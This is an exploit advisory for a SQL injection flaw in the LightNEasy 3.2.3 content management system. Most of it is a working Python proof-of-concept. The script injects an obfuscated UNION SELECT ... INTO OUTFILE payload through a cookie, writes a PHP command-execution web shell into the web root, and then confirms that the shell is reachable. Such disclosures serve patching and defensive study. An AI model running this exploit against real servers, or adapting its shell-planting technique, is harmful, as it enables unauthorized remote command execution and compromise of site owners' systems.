# ------------------------------------------------------------------------ # Software................LightNEasy 3.2.3 # Vulnerability...........SQL Injection # Threat Level............Critical (4/5) # Download................http://www.lightneasy.org/ # Discovery Date..........4/21/2011 # Tested On...............Windows Vista + XAMPP # ------------------------------------------------------------------------ # Author..................AutoSec Tools # Site....................http://www.autosectools.com/ # Email...................John Leitch # ------------------------------------------------------------------------ # # # --Description-- # # A SQL injection vulnerability in LightNEasy 3.2.3 can be exploited to # extract arbitrary data. In some environments it may be possible to # create a PHP shell. # # # --PoC-- import socket host = 'localhost' path = '/lne323' shell_path = '/shell.php' port = 80 def upload_shell(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s.settimeout(8) s.send('POST ' + path + '/index.php?do=&page= HTTP/1.1\r\n' 'Host: localhost\r\n' 'Proxy-Connection: keep-alive\r\n' 'User-Agent: x\r\n' 'Content-Length: 73\r\n' 'Cache-Control: max-age=0\r\n' 'Origin: null\r\n' 'Content-Type: multipart/form-data; boundary=----x\r\n' 'Cookie: userhandle=%22UNION/**/SELECT/**/CONCAT(char(60),char(63),char(112),char(104),char(112),char(32),char(115),char(121),char(115),char(116),char(101),char(109),char(40),char(36),char(95),char(71),char(69),char(84),char(91),char(39),char(67),char(77),char(68),char(39),char(93),char(41),char(59),char(32),char(63),char(62)),%22%22,%22%22,%22%22,%22%22,%22%22,%22%22,%22%22,%22%22,%22%22,%22%22/**/FROM/**/dual/**/INTO/**/OUTFILE%22../../htdocs/shell.php%22%23\r\n' 'Accept: text/html\r\n' 'Accept-Language: en-US,en;q=0.8\r\n' 'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n' '\r\n' '------x\r\n' 'Content-Disposition: form-data; name="submit"\r\n' '\r\n' '\r\n' '------x--\r\n' '\r\n') resp = s.recv(8192) http_ok = 'HTTP/1.1 200 OK' if http_ok not in resp[:len(http_ok)]: print 'error uploading shell' return else: print 'shell uploaded' s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s.settimeout(8) s.send('GET ' + shell_path + ' HTTP/1.1\r\n'\ 'Host: ' + host + '\r\n\r\n') if http_ok not in s.recv(8192)[:len(http_ok)]: print 'shell not found' else: print 'shell located at http://' + host + shell_path upload_shell()